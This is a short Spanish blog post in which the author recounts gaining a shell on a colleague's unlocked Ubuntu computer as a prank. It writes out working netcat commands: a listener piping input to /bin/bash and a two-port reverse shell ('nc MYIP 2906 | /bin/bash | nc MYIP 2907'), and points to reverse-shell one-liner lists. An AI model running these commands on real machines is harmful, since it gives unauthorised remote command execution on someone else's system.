Bueno bueno bueno, por alusiones personales.. http://seifreed.com/2013/03/21/yoy-have-been-owned/ he de decir que todo es mentira! :)
A ver, no ha sido tan fácil como lo comenta Seifreed, sí que es verdad que se dejó el ordenador sin bloquear, pero justo cuando lo vi, yo estaba a punto de irme a mi casa y tenía todo recogido así que no había demasiado tiempo. Por esa razón, la mejor opción, era dejarle un puerto a la escucha, que me brindase la oportunidad de ejecutar comandos.
Por esa razón lo primero a probar era dejar con NetCat ese servicio a la escucha:
- $nc -l 2906 -e /bin/bash
El problema.. que la versión que viene por defecto en su ubuntu está "capada".
nc: invalid option -- 'e'
This is nc from the netcat-openbsd package. An alternative nc is available
in the netcat-traditional package.
La opción de instalar la versión completa, existía, pero tenía privilegios de su usuario, no de root. Así pues, una de las pocas cosas que podía hacer en el poco tiempo que tenía era ejecutar lo siguiente:
- $nc -l 2906 | /bin/bash
De esta forma, aunque no sea interactivo, todo lo que le envíe será redirigido hacia /bin/bash, y por lo tanto, ejecutado (aunque no veré resultados).
Esta mañana, lo único que tenía que hacer era crearme una reverse shell. (sí, algún compañero me ha dicho, "súbele un meterpreter", pero la idea era darle una pequeña lección, no putearlo ;)). Así que, dejando un par de servicios a la escucha con el NetCat uno lo utilizaría de canal de envío de comandos y el otro para la recepción de resultados.
- Terminal1: $nc -v -l 2906
- Terminal2: $nc -v -l 2907
Y ahora.. conectandome a la máquina de Seifreed, sólo tenía que hacer, que se conectase contra mi y me sirviese la shell.
TerminalAtacar:
- $nc IPSEIFREED 2906 --> para conectarme a él
- $nc MYIP 2906 | /bin/bash | nc MYIP 2907
De esta forma primero me conecto a él, y luego hago que él se conecte a mi, sirviéndome esa shell tan preciada, Por supuesto, una vez aquí, ya ha sido cuando he creado ese archivo en su home, y le he avisado.
Si alguien quiere saber más acerca de cómo hacer una reverse shell.. hay mucha información públicada, pero a mi, un par de enlaces que me gusta mirar para ver si tengo la oportunidad de utilizar son los siguientes:
Listado de reverse shells en una linea:
Cómo hacer una reverse shell a través de ICMP: